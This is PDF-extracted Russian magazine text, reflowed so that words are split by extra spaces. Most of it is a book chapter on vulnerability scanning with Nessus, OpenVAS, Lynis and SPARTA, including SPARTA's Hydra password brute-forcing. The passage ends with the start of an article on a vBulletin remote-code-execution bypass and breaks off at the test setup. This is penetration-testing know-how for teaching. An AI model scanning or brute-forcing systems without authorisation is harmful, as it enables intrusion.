  (Перечис ление
общих недос татков)

•Common  weakness  enu meration

•OWASP Top 10
 (Часовой механизм)•Klocwork

 (Клас сифика ция угроз
WASC)

•WASC threat classification

Ос новная  фун кция  каж дого  из  этих  стан дартов  безопас ности  (так сономий)
зак люча ется  в  сис темати зации  катего рий  и  клас сов  уяз вимос тей,  которые
могут исполь зовать спе циалис ты по безопас ности и раз работ чики прог рам‐ 
мно го обес печения для выяв ления кон крет ных оши бок. Обра тите вни мание:
ни один такой стан дарт безопас ности не может счи тать ся точ ным и пол ным.

АВТОМАТИЧЕСКОЕ СКАНИРОВАНИЕ УЯЗВИМОСТЕЙ
Ис пытате ли  на  про ник новение  очень  осто рож но  отно сят ся  к  авто мати чес‐ 
кому  ска ниро ванию  уяз вимос тей  и  иног да  говорят,  что  это  прос то  мошен‐ 
ничес тво.  Хотя,  если  мало  вре мени,  авто мати чес кие  ска неры  уяз вимос тей
могут помочь получить боль шой объ ем информа ции о целевой сети.

Продолжение статьи →
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СКАНИРОВАНИЕ
УЯЗВИМОСТЕЙ

ГЛАВА ИЗ КНИГИ «KALI LINUX. ТЕСТИРОВАНИЕ
НА ПРОНИКНОВЕНИЕ И БЕЗОПАСНОСТЬ»

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Nessus 7
 был раз работан два десяти летия назад и до сих пор оста‐ 

ется очень популяр ным инс тру мен том оцен ки уяз вимос тей. На Nessus мож но
под писать ся на  год. Одна ко хорошие люди в Tenable соз дали седь мую вер‐ 
сию  Nessus  Professional  и  пред лага ют  проб ную  вер сию  всем,  кто  жела ет
с нею озна комить ся.

Tenable’s Nessus

Пе ред уста нов кой вам необ ходимо узнать, какая вер сия Kali Linux уста нов‐ 
лена  на  вашем  компь юте ре.  Это  поможет  вам  ска чать  ту  вер сию  Nessus,
которая будет без сбо ев работать с вашей опе раци онной сис темой.

Вве дите в коман дную стро ку тер минала коман ду   uname ‐a (рис. 6.1).

Рис. 6.1. Про вер ка вер сии Kali Linux

На рис. 6.1 вид но, что я исполь зую 64‐раз рядную вер сию  (amd64) Kali  Linux
на осно ве Debian. Таким обра зом, мне нуж но будет заг рузить 64‐раз рядную
вер сию Nessus, пред назна чен ную для сбо рок Debian.

  Что бы  уста новить  Nessus
в Kali Linux, открой те бра узер и перей дите на  .

Ус танов ка  ска нера  уяз вимос тей Nessus.

стра ницу Nessus
Оз накоми тель ная вер сия пос тавля ется со все ми фун кци ями пол ной вер‐ 

сии, за исклю чени ем огра ниче ний 16‐IP.
Что бы  получить  проб ную  вер сию,  вам  пот ребу ется  зарегис три ровать ся

в  Tenable.  По  элек трон ной  поч те  вы  получи те  код  под твержде ния.  Пос ле
получе ния пись ма с кодом под твержде ния вы можете ска чать нуж ную вер сию
Nessus в Kali Linux (рис. 6.2).

Рис. 6.2. Пред лага емые для ска чива ния вер сии Nessus

Вы бери те  вер сию Nessus,  соот ветс тву ющую  вашей  опе раци онной  сис теме.
Что бы сог ласить ся с усло виями исполь зования, наж мите кноп ку Accept (При‐ 
нять). Далее в появив шемся диало говом окне наж мите кноп ку Save File (Сох‐ 
ранить файл). Файл будет сох ранен на вашем компь юте ре в пап ке Downloads.
Мы для это го при мера заг рузили 64‐бит ную вер сию Nessus (

).
Nessus‐7.1.3‐

debian6_amd64.deb
Пос ле  того  как  заг рузка  будет  завер шена,  запус тите  новый  тер минал

и перей дите в каталог заг рузок. Для это го вве дите в коман дную стро ку коман‐ 
ду  . Далее прос мотри те содер жимое катало га,  вве дя  коман ду
. С помощью это го дей ствия вы можете убе дить ся, что файл дей стви тель но

ска чан и сох ранен в целевой пап ке. Кро ме того, вы можете ско пиро вать имя
уста новоч ного фай ла, что бы вста вить его в сле дующую коман ду. Далее, что‐ 
бы  уста новить  Nessus,  вве дите  коман ду 

, как показа но на 

cd Downloads
ls

dpkg  ‐i  Nessus‐7.1.3‐de‐
bian6_amd64.deb рис. 6.3.

Рис. 6.3. Уста нов ка Nessus

INFO

Ес ли  будут  дос тупны  новые  вер сии  Nessus,
для  выпол нения  коман ды    ско пируй те
имя ска чан ного фай ла заг рузки и его вер сию.

dpkg  ‐i

Не  выходя  из  катало га Downloads,  запус тите  служ бу Nessus. Для  это го  вве‐ 
дите коман ду service nessusd start. При появ лении сле дующе го зап роса ука‐ 
жите пароль для Kali Linux (рис. 6.4).

Рис. 6.4. Запуск служ бы Nessus

Для работы с Nessus открой те бра узер, вве дите в адресную стро ку 
 и наж мите кла вишу Enter. Ког да появит ся бан нер с пре дуп‐ 

режде нием об опас ности, наж мите кноп ку Advanced (Допол нитель но), далее
наж мите  кноп ку  Add  Exception  (Добавить  исклю чение)  и  в  кон це  —  кноп ку
Confirm Security Exception (Под твер дить исклю чение безопас ности) 

https://
localhost:8834

(рис. 6.5).
Для про дол жения запус ка служ бы выпол ните сле дующие шаги.

, ука зав имя поль зовате ля и свой акка‐ 
унт, пос ле чего наж мите кноп ку Continue (Про дол жить).

1. Соз дай те сна чала учет ную запись

Рис. 6.5. Добав ление исклю чения

  Home,  Professional
или Manager, вве дите в поле вво да Activation Code (Код акти вации) получен‐ 
ный по элек трон ной поч те код акти вации и наж мите кноп ку Continue (Про дол‐ 
жить).

2.  Оставь те  пред лага емые  по  умол чанию  нас трой ки

Ес ли все прой дет удач но, Nessus нач нет ини циали зацию, заг рузит и ском‐ 
пилиру ет необ ходимые пла гины (рис. 6.6).

Рис. 6.6. Ини циали зация Nessus

INFO

В  зависи мос ти  от  ско рос ти  вашего  соеди нения
с Интерне том дан ная про цеду ра может прод лить‐ 
ся  некото рое  вре мя.  Пока  будет  про исхо дить
уста нов ка, можете  зай ти  на  сайт www.packtpub.‐
com  и  пос мотреть  еще  кни ги  от  Packt  Publishing
по  Kali  Linux  и  по  тес тирова нию  на  про ник‐ 
новение.

Пос ле завер шения всех обновле ний будет заг ружен интерфейс Nessus. Наж‐ 
мите  рас положен ную  в  пра вом  вер хнем  углу  кноп ку  New  Scan  (Новое  ска‐ 
ниро вание), что бы прос мотреть все дос тупные типы ска ниро вания (рис. 6.7).

Рис. 6.7. Дос тупные виды ска ниро вания

Здесь пред лага ется для исполь зования боль шое количес тво шаб лонов ска‐ 
ниро вания.  Есть  нес коль ко шаб лонов,  которые  дос тупны  толь ко  по  плат ной
под писке. Кро ме обна руже ния узлов и рас ширен ного ска ниро вания, Nessus
про водит  рас ширен ное  ска ниро вание  уяз вимос тей,  в  том  чис ле  сле дующих
типов.

Ска ниро вание облачной инфраструк туры.•
Ло каль ное и  уда лен ное ска ниро вание обна ружен ных пов режден ных обо‐ 
лочек.

•

Ска ниро вание внут ренней сети PCI.•
Ска ниро вание вре донос ных прог рамм Linux и Windows.•
Ска ниро вание Meltdown и Spectre.•
Ска ниро вание прог рамм‐вымога телей WannaCry.•
Ска ниро вание веб‐уяз вимос тей.•

Не кото рые из них показа ны на рис. 6.8.
Что бы  про демонс три ровать  обна руже ние  уяз вимос тей,  вос поль зуем ся

уяз вимым  веб‐сер вером  Linux.  В  гла ве  2  мы  рас ска зыва ли,  как  нас тро ить
Metasploitable 2, Metasploitable 3, очень уяз вимую сис тему Linux и BadStore.

В окне ска нера щел кни те на шаб лоне Advanced Scan  (Рас ширен ное ска‐ 
ниро вание) и в раз деле BASIC (Основное) запол ните поля вво да. В поле Tar‐
gets  (Цели)  ука жите  IP‐адрес  целевой  машины  или  диапа зон  IP‐адре сов
целевых машин, которые дол жны быть прос каниро ваны с помощью шаб лона
рас ширен ного ска ниро вания (рис. 6.9).

Рис. 6.8. Некото рые из видов ска ниро вания

Рис. 6.9. Ука зыва ем цели

Пос коль ку пред лага ется нес коль ко раз личных нас тро ек, изу чите дру гие раз‐ 
делы левого стол бца. Каж дый из этих раз делов поз воля ет нас тро ить ска ниро‐ 
вание в соот ветс твии с кон крет ными тре бова ниями.

DISCOVERY  (Откры тие).  Nessus  исполь зует  ряд  раз личных  методов
для  обна руже ния  дей ству ющих  в  дан ное  вре мя  хос тов.  Здесь  мож но
задать опре делен ные парамет ры для их обна руже ния.

•

ASSESSMENT  (Оце нива ние).  Здесь  вы можете  задать  тип  и  глу бину  ска‐ 
ниро вания.

•

REPORTING (Отчетность). При под готов ке отче та о тес тирова нии на про‐ 
ник новение  важ но  иметь  под робную  информа цию о  про вер ке  уяз вимос‐ 
тей. Эта фун кция поз воля ет задать парамет ры отче тов.

•

ADVANCED  (Допол нитель но).  Рас ширен ные  нас трой ки  поз воля ют  изме‐ 
нять  не  толь ко  количес тво  ска ниру емых  хос тов,  но  и  дру гие  парамет ры
син хро низа ции.

•

Пос ле  нас трой ки  ска ниро вания  мож но  выб рать  коман ду  Save  (Сох ранить)
или Launch (Запус тить). Вы уви дите спи сок My Scans (Мои ска ниро вания).

Щел кни те кноп кой мыши на знач ке Play (Вос про изве дение), который рас‐ 
положен спра ва от име ни шаб лона ска ниро вания. Будет запуще но ска ниро‐ 
вание. Если щел кнуть на име ни шаб лона ска ниро вания во вре мя про веде ния
тес та,  на  экра не  вы  уви дите  общую  информа цию  о  ска ниру емой  целевой
машине и об уяз вимос ти (рис. 6.10).

Рис. 6.10. Общая информа ция о ска ниро вании

Ес ли щел кне те кноп кой мыши на ска ниру емом целевом компь юте ре, то уви‐ 
дите более под робный спи сок обна ружен ных уяз вимос тей. Уяз вимос ти име‐ 
ют цве товую мар киров ку:

крас ный — кри тичес кий уро вень;•
оран жевый — высокий;•
жел тый — сред ний;•
зе леный — низ кий;•
си ний — содер жит информа цию.•

Как вид но на рис. 6.11, при ска ниро вании в общей слож ности было обна руже‐ 
но 70 уяз вимос тей, из которых шесть явля ются кри тичес кими и 17 — высоко‐ 
го уров ня. Это зна чит, что машина очень уяз вима.

Рис. 6.11. Отчет о най ден ных уяз вимос тях

Ес ли  щел кнуть  кноп кой  мыши  на  цвет ных  катего риях  уяз вимос тей,  обна‐ 
ружен ные уяз вимос ти отоб разят ся в поряд ке от наибо лее уяз вимых (то есть
кри тичес ких) до наиме нее уяз вимых (информа цион ных) (рис. 6.12).

Рис. 6.12. Отоб ражение най ден ных уяз вимос тей в поряд ке от кри тичес ‐
ких до информа цион ных

По лучен ная информа ция вклю чает в себя све дения не толь ко об уяз вимос ти,
но и об экс плой тах. Она поз воля ет испы тате лю зап ланиро вать и осу щес твить
допол нитель ные ата ки на эти уяз вимос ти (рис. 6.13).

Рис. 6.13. Соз дание отчетнос ти

Nessus — мощ ный инс тру мент с боль шим количес твом фун кци ональ ных воз‐ 
можнос тей,  который  мож но  исполь зовать  при  тес тирова нии  на  про ник‐ 
новение.  Он  пре дос тавля ет  боль шой  объ ем  информа ции.  К  сожале нию,
в  этом  раз деле  мы  не  смо жем  рас смот реть  весь  фун кци онал  прог раммы,
но  рекомен дуем  вам  пот ратить  некото рое  вре мя  на  самос тоятель ное  изу‐ 
чение дос тупных фун кций. Обра тите  вни мание,  что  Tenable  пред лага ет бес‐ 
плат но  про тес тировать  и  домаш нюю  вер сию.  Если  же  вы  жела ете  про тес‐ 
тировать  внеш ние  IP‐адре са  или  при меня ете Nessus  для  кли ента,  вам  при‐ 
дет ся вос поль зовать ся плат ной вер сией.

Продолжение статьи →

https://www.tenable.com/try
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OPENVAS
  (откры тая  сис тема  оцен ки  уяз‐ 

вимос тей, OpenVAS) — фрей мворк, сос тоящий из нес коль ких сер висов и ути‐ 
лит. OpenVAS — это ска нер с откры тым исходным кодом. Он прост в уста нов‐ 
ке  и  име ет  удоб ный  интерфейс,  поз воля ющий  выпол нять  активный монито‐ 
ринг  (с  активны ми  дей стви ями  в  сети).  Сог ласно  сай ту  http://www.open‐
vas.org/about.html  при  работе OpenVAS  исполь зует  кол лекцию  уяз вимос тей,
сос тоящую из 50 000 тес тов (NVTs). OpenVAS явля ется осно вой линей ки про‐ 
фес сиональ ных устрой ств Greenbone Secure Manager.

Open  Vulnerability  Assessment  System

Что бы уста новить OpenVAS, открой те тер минал и вве дите коман ду apt‐get
install openvas (рис. 6.14).

Ког да  уста нов ка  OpenVAS  будет  завер шена,  для  запус ка  кон фигура ции
вве дите в коман дную стро ку тер минала коман ду openvas‐setup. Про цесс кон‐ 
фигура ции  зай мет  некото рое  вре мя,  в  зависи мос ти  от  заг рузки  сети  и  ско‐ 
рос ти под клю чения к Интерне ту (рис. 6.15).

Рис. 6.14. Уста нов ка OpenVAS

Рис. 6.15. Кон фигура ция при ложе ния

В  кон це  про цес са  уста нов ки  и  нас трой ки  OpenVAS  сге нери рует  пароль,
который пот ребу ется при запус ке OpenVAS (рис. 6.16).

Рис. 6.16. Пароль сге нери рован

Для  запус ка  сер виса OpenVAS  вве дите  коман ду  openvas‐start. Далее  запус‐ 
тите  бра узер  и  вве дите  в  адресную  стро ку 
или  .

https://127.0.0.1:9392
https://localhost:9392

INFO

При пов торном исполь зовании OpenVAS открой те
тер минал и вве дите коман ду openvas‐start. Новую
уста нов ку запус кать не сле дует.

Вам пос ле вво да пре дыду щего URL‐адре са сно ва при дет ся добавить исклю‐ 
чение  безопас ности.  Для  это го  наж мите  кноп ку  Advanced  (Допол нитель но),
далее — кноп ку Add Exception (Добавить исклю чение), а затем кноп ку Confirm
Security Exception (Под твер дить исклю чение безопас ности) (рис. 6.17).

При появ лении зап роса вой дите в сис тему, вве дя имя поль зовате ля admin
и  пароль,  сге нери рован ный  в  про цес се  уста нов ки.  Убе дитесь,  что  логин
и пароль надеж но сох ранены, так как вам при работе с OpenVAS неод нократ‐ 
но пот ребу ется вхо дить в сис тему (рис. 6.18).

Что бы  запус тить  ска ниро вание, щел кни те  на  ярлы ке  вклад ки Scans  (Ска‐ 
ниро вания),  а  затем  на  стро ке  Tasks  (Задачи).  Откро ется  информа цион ное
окно, в котором нуж но выб рать мас тер задач. Он пред став лен в виде фиоле‐ 
тово го знач ка, рас положен ного в левом вер хнем углу экра на (рис. 6.19).

Рис. 6.17. Под твержде ние добав ления исклю чения безопас ности

Рис. 6.18. Запуск OpenVAS

Рис. 6.19. Запуск ска ниро вания

В открыв шемся меню щел кни те на стро ке Advanced Task Wizard (Мас тер рас‐ 
ширен ных задач). В появив шихся полях вве дите соот ветс тву ющую информа‐ 
цию    Обра тите  вни мание:  поле  Scan  Config  (Кон фигура ция  ска‐ 
ниро вания) име ет на выбор нес коль ко типов ска ниро вания, вклю чая Discovery
(Обна руже ние), Full and fast (Пол ное и быс трое), Full and fast ultimate (Пол ное
и быс трое окон чатель ное) и Full  and  very deep ultimate  (Пол ное и очень  глу‐ 
бокое окон чатель ное)  (наибо лее  тру доем кий и зат ратный по вре мени вари‐ 
ант).

(рис. 6.20).

Рис. 6.20. Соз даем новую задачу

Па раметр Start time (Вре мя начала) поз воля ет испы тате лю на про ник новение
зап ланиро вать  ска ниро вание.  Это  очень  полез ная  фун кция.  Ска ниро вание
может нарушать работу сети, поэто му его луч ше выпол нять тог да, ког да сеть
не силь но заг ружена, то есть в нерабо чее вре мя или в выход ные дни.

Пос ле того как все поля будут запол нены, прок рутите стра ницу вниз и наж‐ 
мите  кноп ку  Create  (Соз дать).  В  резуль тате  запус тится  ска ниро вание  и  на
экра не появит ся свод ка све дений о ска ниро вании и сос тоянии (рис. 6.21).

Рис. 6.21. Ска ниро вание запуще но

Что бы прос мотреть допол нитель ные све дения о задаче, в поле Name  (Имя)
щел кни те на име ни задачи (рис. 6.22).

Рис. 6.22. Допол нитель ные све дения о задаче

По завер шении ска ниро вания наж мите кноп ку Done (Готово). При этом будет
соз дан отчет со спис ком обна ружен ных уяз вимос тей и оцен кой сте пени угро‐ 
зы для каж дой из них (рис. 6.23).

Рис. 6.23. Отчет о ска ниро вании

Ес ли щел кнуть кноп кой мыши на любой из перечис ленных уяз вимос тей, отоб‐ 
разят ся допол нитель ные све дения, такие как Summary (Свод ка), Impact (Вли‐ 
яние),  Solution  (Решение),  Affected  Software/OS  (Уяз вимое  прог рам мное
обес печение) и др. (рис. 6.24).

Рис. 6.24. Допол нитель ные све дения

СКАНИРОВАНИЕ УЯЗВИМОСТЕЙ LINUX С ПОМОЩЬЮ LYNIS
Раз работан ное  ком пани ей  Cisofy  (www.cisofy.com)  при ложе ние    —
это инс тру мент про вер ки безопас ности,  который управля ется из  коман дной
стро ки  Kali  Linux.  Это  бес плат ная  прог рамма,  но  дос тупна  и  кор поратив ная
вер сия.  Lynis  исполь зует ся  для  авто мати зиро ван ной  оцен ки  безопас ности
и ска ниро вания уяз вимос тей в раз личных вер сиях опе раци онных сис тем Lin‐
ux, macOS X и Unix.

Lynis

В  отли чие  от  дру гих  при ложе ний  такого  типа  Lynis  спе циали зиру ется
на про вер ке безопас ности законо датель ных актов о переда че и защите све‐ 
дений учрежде ний здра воох ранения (HIPAA), защите стан дарта безопас ности
пла теж ных карт PCI DSS, сис тем внут ренне го кон тро ля SOX и GLBA. Это при‐ 
ложе ние  поз волит  пред при ятиям,  исполь зующим  раз личные  стан дарты,
обес печить безопас ность сво их сис тем.

Lynis мож но  заг рузить и  уста новить самос тоятель но.  Уста нов ка при ложе‐ 
ния в целевой сис теме сэконо мит тра фик, по срав нению с уста нов кой на уда‐ 
лен ном компь юте ре.

WWW

Lynis  вхо дит  в  пакет  Kali  Linux,  но  так же  может
быть кло ниро ван   или ска чан 

.
с GitHub с офи циаль‐ 

ного сай та

Для запус ка Lynis в Kali выбери те коман ду меню Applications/Vulnerability Analy‐
sis/Lynis  (При ложе ния/Ана лиз  уяз вимос тей/Lynis).  Для  запус ка  при ложе ния
из коман дной стро ки вве дите в тер минале коман ду lynis. Она отоб разит уста‐ 
нов ленную вер сию Lynis (в дан ном слу чае 2.6.2) и ини циали зиру ет прог рамму.
Вы так же уви дите спи сок всех парамет ров коман ды (рис. 6.25).

Рис. 6.25. Спи сок парамет ров коман ды Lynix

Ес ли вы под забыли нуж ную коман ду, вве дите lynis show commands (рис. 6.26).
Lynis  —  пол ностью  механи зиро ван ный  инс тру мент  про вер ки  безопас‐ 

ности,  у  которо го  есть  минималь ный  набор  команд.  Что бы  про верить  вашу
машину Kali  Linux,  прос то  вве дите  lynis  audit  system. Вре мя,  которое  зай мет
про вер ка, зависит от харак терис тик про веря емой машины Kali Linux. Обыч но
про вер ка длит ся от 15 до 30 минут. Резуль тат про вер ки показан на рис. 6.27.

Рис. 6.26. Отоб ражение команд Lynis

Рис. 6.27. Резуль тат про вер ки машины Kali Linux

Ре зуль таты про вер ки вклю чают в себя све дения:
о вер сии Debian;•
заг рузке и служ бах;•
яд ре;•
па мяти и про цес соре;•
поль зовате лях, груп пах и про вер ке под линнос ти;•
обо лоч ке;•
фай ловой сис теме;•
USB‐устрой ствах;•
се ти и бран дма уэрах;•
пор тах и прин терах;•
на деж ности ядра.•

Рис. 6.28. Све дения, получен ные с помощью Lynis

На    показан фраг мент  резуль татов  про вер ки  Lynis  с  четырь мя  пре‐ 
дуп режде ниями и 40 пред ложени ями.

рис. 6.29

Рис. 6.29. Фраг мент резуль татов про вер ки

Прок рутив резуль таты тес та до кон ца, мы уви дим общую свод ку по про вер ке 
(рис. 6.30).

Рис. 6.30. Общая свод ка по про вер ке компь юте ра

Продолжение статьи →

https://github.com/CISOfy/lynis
https://cisofy.com/documentation/lynis/get-started/#installation
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НА ПРОНИКНОВЕНИЕ И БЕЗОПАСНОСТЬ»

ВЗЛОМ  НАЧАЛО СТАТЬИ←

СКАНИРОВАНИЕ И ПЕРЕЧИСЛЕНИЕ УЯЗВИМОСТЕЙ С ПОМОЩЬЮ
SPARTA
SPARTA — это инс тру мент с поль зователь ским интерфей сом для тес тирова‐ 
ния  на  про ник новение  сети.  Авто ры  при ложе ния  —  Анто нио  Кина  (Antonio
Quina)  и Леони дас Став лиотис  (Leonidas Stavliotis)  из  ком пании SECFORCE.
SPARTA — стан дар тное при ложе ние Kali Linux. В рам ках одно го инс тру мен та
оно  авто мати зиру ет  про цес сы  ска ниро вания,  перечис ления  и  оцен ки  уяз‐ 
вимос тей.  Кро ме  фун кций  ска ниро вания  и  перечис ления,  в  SPARTA  так же
встро ено средс тво для взло ма паролей с помощью гру бой силы.

WWW

Пос ледние  вер сии  SPARTA  мож но  заг рузить
из  GitHub  и  кло ниро вать  на  локаль ную  машину.
Для  это го  дос таточ но  ввес ти  коман ду 

.

git 
clone  https://github.com/secforce/
sparta.git

Для запус ка SPARTA в Kali Linux 2018 выбери те коман ду меню Applications →
Vulnerability Analysis → SPARTA (При ложе ния → Ана лиз уяз вимос тей → SPAR‐
TA). Что бы добавить в область про вер ки целевую машину или груп пу целевых
машин,  в  гра фичес ком  интерфей се  SPARTA  1.0.3  щел кни те  кноп кой  мыши
на левой панели. Далее добавь те в поле вво да IP Range (IP‐диапа зон) диапа‐ 
зон про веря емых IP‐адре сов (рис. 6.31).

Рис. 6.31. Диапа зон IP‐адре сов для про вер ки вве ден

Пос ле  того  как  IP‐адре са  узлов  сети  будут  добав лены,  наж мите  кноп ку  Add
to  scope  (Добавить  в  область).  Нач нется  поэтап ное  ска ниро вание  целевых
объ ектов (рис. 6.32).

Рис. 6.32. Про цесс ска ниро вания узла сети

Пос ле завер шения ска ниро вания кар ты сети в основном окне SPARTA появят‐ 
ся  сле дующие  вклад ки:  Services  (Служ бы),  Scripts  (Сце нарии),  Information
(Информа ция),  Notes  (Замет ки),  nikto  и  screenshot,  на  которых  вы  най дете
очень полез ную информа цию.

По  умол чанию  сна чала  откро ется  вклад ка  Services  (Служ бы)  со  спис ком
откры тых пор тов и служб (рис. 6.33).

Рис. 6.33. Вклад ка Services (Служ бы) со спис ком откры тых пор тов
и служб

Ес ли  откро ете  вклад ку  Information  (Информа ция),  то  уви дите  соб ранную
информа цию  о  целевой  машине.  Там  будет  ука зан  IP,  количес тво  откры тых,
зак рытых  и  отфиль тро ван ных  пор тов  (если  таковые  име ются),  а  так же  опе‐ 
раци онная  сис тема  вмес те  с  ее  вер сией  и  зна чение  точ ности  опре деле ния
информа ции (рис. 6.34).

Рис. 6.34. Вклад ка Information (Информа ция)

Пос коль ку в нашем слу чае целевой машиной был выб ран Linux‐сер вер, при‐ 
менен инс тру мент ска ниро вания Nikto. Что бы прос мотреть спи сок най ден ных
уяз вимос тей, открой те вклад ку nikto (80/tcp) (рис. 6.35).

Рис. 6.35. Вклад ка nikto (80/tcp)

Мно гие из обна ружен ных уяз вимос тей име ют пре фикс OSVBD, который ука‐ 
зыва ет  на  то,  что  информа цию  о  них  мож но  искать  в  базах  дан ных  сай тов
Common Vulnerabilites and Exposures (CVE) и Open Source Vulnerabilities Data‐
base (OSVDB).

Для  получе ния  под робной  информа ции  испы татель  на  про ник новение
может вос поль зовать ся прос тым поис ком Google, вве дя в поис ковую стро ку
наз вание  уяз вимос ти,  нап ример  OSVDB‐3268,  которая  была  выяв лена
при пре дыду щем ска ниро вании. Впос ледс твии выяв ленные уяз вимос ти могут
быть исполь зованы, нап ример, инс тру мен том Metasploit. Но об этом погово‐ 
рим в сле дующих гла вах.

Те перь пос мотрим на дру гую ска ниру емую машину под управле нием опе‐ 
раци онной  сис темы  Windows.  В  области  Hosts  (Хос ты)  сле ва  най дите  IP‐
адрес 10.10.22.217 и щел кни те на нем кноп кой мыши. Далее открой те вклад‐ 
ку Services (Служ бы)   Здесь вы уви дите спи сок откры тых пор тов.(рис. 6.36).

Рис. 6.36. Вклад ка Services (Служ бы) с информа цией о пор тах
машины 10.10.22.217

Из  этой  информа ции  вид но,  что  иссле дуемая  нами  машина  работа ет
под  управле нием  Windows.  Для  обсле дова ния  пор тов  дан ной  машины
в SPARTA был запущен инс тру мент smbenum. С его помощью мы про вери ли
наличие  нулевых  сес сий  и  прос мотре ли  этот  компь ютер.  В  ходе  этих  опе‐ 
раций мы,  в  час тнос ти,  иска ли све дения о поль зовате лях и общих ресур сах 
(рис. 6.37).

SPARTA осу щест вля ет ска ниро вание, перечис ление и оцен ку уяз вимос ти,
поз воляя испы тате лю выпол нять раз личные фун кции тес тирова ния на про ник‐ 
новение  в  сеть.  Для  это го  на  вклад ке  Services  (Сер висы)  щел кни те  пра вой
кноп кой мыши на любом из откры тых пор тов и выбери те в появив шемся меню
нуж ную коман ду.

На   вы видите кон текс тное меню, появив шееся пос ле того, как мы
щел кну ли пра вой кноп кой мыши на стро ке open port 3306. Исполь зуя коман‐ 
ды  это го  кон текс тно го  меню,  вы  можете  поп робовать  открыть  порт
с  помощью  Telnet,  Netcat  или  кли ента MySQL. Для  кли ента MySQL  вам  пот‐ 
ребу ются  пра ва  root.  Вы  так же  можете  попытать ся  взло мать  пароли  с  при‐ 
мене нием гру бой силы.

рис. 6.38

Рис. 6.37. Отчет об иссле дова нии с помощью инс тру мен та smbenum
(445/tcp)

Рис. 6.38. Кон текс тное меню для пор та 3306

Ес ли в кон текс тном меню выб рать коман ду Send to Brute (Отпра вить в Brute),
то через выб ранный порт будет пред при нята попыт ка ата ки с помощью инс‐ 
тру мен та  взло ма  пароля  THC  Hydra.  Наряду  с  дру гими  вари анта ми
для  получе ния  нуж ных  дан ных  мож но  при менять  спис ки  с  име нами  поль‐ 
зовате лей и  паролей.  Ука зав  необ ходимые парамет ры,  наж мите  кноп ку Run
(Выпол нить), что бы пред при нять попыт ку ата ки.

Рис. 6.39. Вклад ка инс тру мен та Brute

Это далеко не единс твен ные инс тру мен ты, дос тупные в SPARTA. Если, допус‐ 
тим,  щел кнуть  пра вой  кноп кой  мыши  на  open  port  445  компь юте ра
под управле нием опе раци онной сис темы Windows, вы уви дите боль шой спи‐ 
сок инс тру мен тов (рис. 6.40).

Рис. 6.40. Спи сок команд кон текс тно го меню для компь юте ра
под управле нием Windows

РЕЗЮМЕ
В этой гла ве мы обсу дили, как с помощью нес коль ких инс тру мен тов Kali Linux
выявить и про ана лизи ровать кри тичес кие уяз вимос ти сис темы безопас ности.
Мы  так же  рас смот рели  три  основных  клас са  уяз вимос тей:  про екти рова ние,
реали зацию  и  экс плу ата цию —  и  разоб рались,  как  их  мож но  рас пре делить
по двум общим типам уяз вимос тей: локаль ных и уда лен ных. Затем мы обсу‐ 
дили нес коль ко  так сономий уяз вимос тей,  которы ми мож но вос поль зовать ся
при про вер ке безопас ности, и клас сифици рова ли их по схо жес ти шаб лонов.

Да лее  мы  поз накоми ли  вас  с  нес коль кими  инс тру мен тами,  с  помощью
которых  мож но  про вес ти  авто мати чес кое  ска ниро вание  сис темы  и  выявить
име ющиеся  уяз вимос ти. Это  такие инс тру мен ты,  как Nessus, OpenVAS,  Lynis
и SPARTA.

В  сле дующей  гла ве  мы  обсу дим  искусс тво  обма на  и  погово рим  о  том,
как мож но вос поль зовать ся челове чес кими сла бос тями, что бы дос тичь сво ей
цели. Во мно гих  слу чаях  к  этой  про цеду ре мож но  и  не  при бегать. Но  ког да
у нас нет информа ции, поз воля ющей исполь зовать целевую инфраструк туру,
такие методы могут быть очень полез ными.

ВОПРОСЫ
1. Ка кова связь меж ду уяз вимостью и экс плой том?
2. Уяз вимос ти какого клас са счи тают ся наибо лее опас ными?
3. Ка ково опре деле ние уда лен ной уяз вимос ти?
4. Ка кой инс тру мент может выпол нять внут реннее и внеш нее ска ниро вание
PCI DSS?

5. Ка кой инс тру мент был соз дан спе циаль но для ауди та Linux‐сис тем?
6. Ка кой инс тру мент интегри рован в SPARTA для выпол нения ска ниро вания
сай та?

WWW

  —  све дения  об  экс плой тах
и уяз вимос тях

•Exploit  Database

 — база дан ных общих рис ков и  уяз вимос‐ 
тей

•CVE

•Ба за дан ных уяз вимос тей и экс плой тов Rapid7
•Учеб ники по ска ниро ванию Nessus
•Фо рум сооб щес тва OpenVAS

https://www.exploit-db.com/
https://cve.mitre.org/
https://www.rapid7.com/db
https://docs.tenable.com/nessus/Content/Scans.htm
https://community.greenbone.net/
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ВЗЛОМ

При мер но год назад я писал об 
,  которая  давала  любому  поль зовате лю  воз можность

выпол нять про изволь ные коман ды в сис теме и была боль ше
похожа  на  бэк дор.  Тог да  раз работ чики  опе ратив но  испра‐ 
вили баг, и вот в кон це августа 2020 года была най дена воз‐ 
можность  обой ти  патч  и  вновь  вос поль зовать ся  этой  уяз‐ 
вимостью.

уяз вимос ти в форуме vBul‐
letin

 — это прод винутый форум ный дви жок, который поз воля ет мно жес тву
поль зовате лей общать ся меж ду собой. Из‐за стре митель ного рос та популяр‐ 
ности  мес сен дже ров  форумы  в  2020  году  уже  не  так  акту аль ны,  но  если
и  попада ются  во  вре мя  тес тирова ния,  то  в  двух  слу чаях  из  трех  это  будет
имен но vBulletin.

vBulletin

Вкрат це баг зак люча ется в сле дующем: вид жет  tabbedcontainer_tab_panel
раз реша ет  заг ружать  дочер ние  вид жеты  и  переда вать  им  про изволь ные
парамет ры.  С  помощью  спе циаль но  сфор мирован ного  зап роса  зло умыш‐ 
ленник может выз вать   и  уда лен но выпол нить про изволь ный код
на PHP.

widget_php

Уяз вимость получи ла ста тус  кри тичес кой и была сроч но исправ лена раз‐ 
работ чиками.

INFO

Баг обна ружил Амир Эте мадие  (Amir Etemadieh),
более извес тный как  . Уяз вимос ти прис‐ 
воен  номер  .  Проб лема  сущес‐ 
тву ет в vBulletin с вер сии 5.5.4 до 5.6.2. Экс плу‐ 
ата ция  воз можна  из‐за  непол ного  исправ ления
уяз вимос ти  .

@Zenofex
CVE‐2020‐17496

CVE‐2019‐16759

Се год ня  я  рас смот рю,  как  vBulletin  работа ет  с  роутин гом  зап росов,
как  работа ют  вид жеты  и  их  шаб лоны,  и,  конеч но  же,  раз берем  детали  уяз‐ 
вимос ти и про экс плу ати руем сис тему.

СТЕНД
Для  тес тового  окру жения,  как  всег да,  будем  исполь зовать  Docker.  Сна чала
соз дадим кон тей нер для базы дан ных. Я вос поль зуюсь MySQL.

docker run             
   

‐d ‐e MYSQL_USER="vb" ‐e MYSQL_PASSWORD="JS7G5yUmaV" ‐e
